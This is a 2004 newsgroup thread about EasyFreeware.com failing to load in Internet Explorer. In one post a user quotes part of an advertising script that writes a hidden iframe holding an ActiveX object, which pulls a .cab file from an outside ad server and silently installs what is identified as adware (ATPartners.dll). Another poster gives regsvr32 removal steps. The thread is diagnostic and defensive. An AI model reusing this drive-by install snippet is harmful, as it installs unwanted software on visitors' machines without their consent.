EasyFreeware.com doesn't want to open in IE

[Henk de Jong]

Checking some links I removed from my site in the last months, I
stumbled on EasyFreeware.com (http://www.easyfreeware.com/) that
doesn't want to open in IE or SlimBrowser, but opens without any
problem in Mozilla. Does anyone has a clue why this happens?

With kind regards,

--
Henk de Jong
The Netherlands
(e-mail address removed) (Remove _NO_SPAM_)
'Links to Freeware'
http://www.linkstofreeware.nl/
http://www.linkstofreeware.vze.com/
http://home.hccnet.nl/hmdejong/

 

[jo]

Checking some links I removed from my site in the last months, I
stumbled on EasyFreeware.com (http://www.easyfreeware.com/) that
doesn't want to open in IE or SlimBrowser, but opens without any
problem in Mozilla. Does anyone has a clue why this happens?

Fine here in Opera... running multiple browsers is a bit like running
multiple tweak apps; when something messes up, it is god's own job
tracking it down.

 

[Bjorn Simonsen]

Checking some links I removed from my site in the last months, I
stumbled on EasyFreeware.com (http://www.easyfreeware.com/) that
doesn't want to open in IE or SlimBrowser, but opens without any
problem in Mozilla. Does anyone has a clue why this happens?

No. Just to let you know it opens fine in both IE, Opera and Mozilla
Firefox here. Try clearing your cache/history/cookies perhaps? Check
firwall log if any, check host file etc.

All the best,
Bjorn Simonsen

 

[Henk de Jong]

Bjorn Simonsen wrote on 13-9-2004 :

No. Just to let you know it opens fine in both IE, Opera and Mozilla
Firefox here. Try clearing your cache/history/cookies perhaps? Check
firwall log if any, check host file etc.

Hi Bjorn,

That seemed a pretty good idea to me. So I cleaned the cache, and tried
again, but it didn't work. I noticed some Javascript on that page for a
different handling for IE and Netscape. Maybe that is the problem. I
already notified the webmaster of Easyfreeware.

Thanks for your idea.

With kind regards,

--
Henk de Jong
The Netherlands
(e-mail address removed) (Remove _NO_SPAM_)
'Links to Freeware'
http://www.linkstofreeware.nl/
http://www.linkstofreeware.vze.com/
http://home.hccnet.nl/hmdejong/

 

[Henk de Jong]

Fine here in Opera... running multiple browsers is a bit like running
multiple tweak apps; when something messes up, it is god's own job
tracking it down.

Good te see that it opens in Opera. I used the browsers one after
another, and not side by side. Bjorn suggested the cleaning of the
cache, but that also didn't work. I noticed a Javascript on that page,
that might be the cause of the problem. I already notified the
webmaster of EasyFreeware.

With kind regards,

--
Henk de Jong
The Netherlands
(e-mail address removed) (Remove _NO_SPAM_)
'Links to Freeware'
http://www.linkstofreeware.nl/
http://www.linkstofreeware.vze.com/
http://home.hccnet.nl/hmdejong/

 

[Bjorn Simonsen]

I noticed some Javascript on that page for a
different handling for IE and Netscape.

Something to check: what Java version do you have, the "old" MS one
(Microsoft Java Virtual Machine)or the new from SUN (I have SUN).
See <http://www.microsoft.com/windowsxp/evaluation/news/jre.mspx>
<http://www.microsoft.com/mscorp/java/>

All the best,
Bjorn Simonsen

 

[Frank Bohan]

Checking some links I removed from my site in the last months, I
stumbled on EasyFreeware.com (http://www.easyfreeware.com/) that
doesn't want to open in IE or SlimBrowser, but opens without any
problem in Mozilla. Does anyone has a clue why this happens?

With kind regards,

I tried clicking on the easyfreeware link in your post (in OE) and it would
not open in IE6 (my default browser). Then I copied and pasted the URL in
the browser and it opened immediately!! Other links in OE newsgroup posts
open OK. Sometimes the ways of Microsoft are beyond comprehension.

===

Frank Bohan
¶ A pencil with no point needs no eraser.

 

[Ben Cooper]

I tried clicking on the easyfreeware link in your post (in OE) and it
would not open in IE6 (my default browser). Then I copied and pasted
the URL in the browser and it opened immediately!! Other links in OE
newsgroup posts open OK. Sometimes the ways of Microsoft are beyond
comprehension.

Are you using XP after the SP2 update?
I've noticed the same anomaly, but I haven't found any reference to it
online, when I've looked for it.

 

[AAH]

It opens fine in ie6 sp1


Checking some links I removed from my site in the last months, I
stumbled on EasyFreeware.com (http://www.easyfreeware.com/) that
doesn't want to open in IE or SlimBrowser, but opens without any
problem in Mozilla. Does anyone has a clue why this happens?

With kind regards,

--
Henk de Jong
The Netherlands
(e-mail address removed) (Remove _NO_SPAM_)
'Links to Freeware'
http://www.linkstofreeware.nl/
http://www.linkstofreeware.vze.com/
http://home.hccnet.nl/hmdejong/

 

[Mel]

Checking some links I removed from my site in the last months, I
stumbled on EasyFreeware.com (http://www.easyfreeware.com/) that
doesn't want to open in IE or SlimBrowser, but opens without any
problem in Mozilla. Does anyone has a clue why this happens?

With kind regards,

I got an alert about my ActiveX settings preventing an object loading,
then IE froze up.(I use IE's Administrator approved setting to restrict
which ActiveX components can be launched remotely)

I think it may have been caused a link to this advertising? script :-

www.addictivetechnologies.net/dm0/js/NewConfirmrdaerafrrl.js


I don't know what object the class id "00000EF1-0786-4633-87C6-1AA7A44296DA"
is; it's certainly not one I have listed in my activeX admin script.


<snip>
//If cookie does not exist then we can assume the user has not been to the site within the last 24 hrs
document.write('<iframe id="downloads_manager" style="position:absolute;visibility:hidden;"></iframe>');

document_code = '<html><head>\n';
document_code += '<\/head><body>\n';
document_code += '<object onerror="window.parent.retry();" id="DDownload_UL1"
classid="clsid:00000EF1-0786-4633-87C6-1AA7A44296DA" codebase="http://www.addictivetechnologies.net/DM0/cab/rdaerafrrl.cab" HEIGHT=0
WIDTH=0></object>\n';
document_code += '<\/body><\/html>';
downloads_manager.document.write(document_code);
downloads_manager.document.close();

setCookie('minpopuprdaerafrrl','test',1);

}
}

<snip>

 

[Steven Burn]

I got an alert about my ActiveX settings preventing an object loading,
then IE froze up.(I use IE's Administrator approved setting to restrict
which ActiveX components can be launched remotely)

Start > Run, type;

regsvr /u ATPartners.dll

Then locate and delete it.

--

Regards

Steven Burn
Ur I.T. Mate Group
www.it-mate.co.uk

Keeping it FREE!

 

[Steven Burn]

Slight typo on my part, it should be;

regsvr32

not

regsvr

--

Regards

Steven Burn
Ur I.T. Mate Group
www.it-mate.co.uk

Keeping it FREE!

 

[Mel]

Start > Run, type;

regsvr /u ATPartners.dll

Then locate and delete it.

Thanks, but it didn't get installed here, my activex setttings
don't allow it as it's not on my trusted list, however :-

If anyone has visited this site they might want to check for that DLL.

I just looked the class id up, popular opinion seems to be it is
a pest.

http://www.winpatrol.com/db/freesample/atpartners.html


Regards,

Mel

 

[Frank Bohan]

Are you using XP after the SP2 update?
I've noticed the same anomaly, but I haven't found any reference to it
online, when I've looked for it.

No. I using SP1 but have not yet risked installing SP2, although I've
received the free CD from Microsoft:
http://www.microsoft.com/windowsxp/downloads/updates/sp2/cdorder/en_us/default.mspx

===

Frank Bohan
¶ Three out of four people make up 75% of the population.

 

[Ben Cooper]

No. I using SP1 but have not yet risked installing SP2, although I've
received the free CD from Microsoft:
http://www.microsoft.com/windowsxp/downloads/updates/sp2/cdorder/en_us/default.mspx

I didn't see this behavior until *after* I installed SP2. Perhaps it's
not yet affecting enough of us to make many take notice.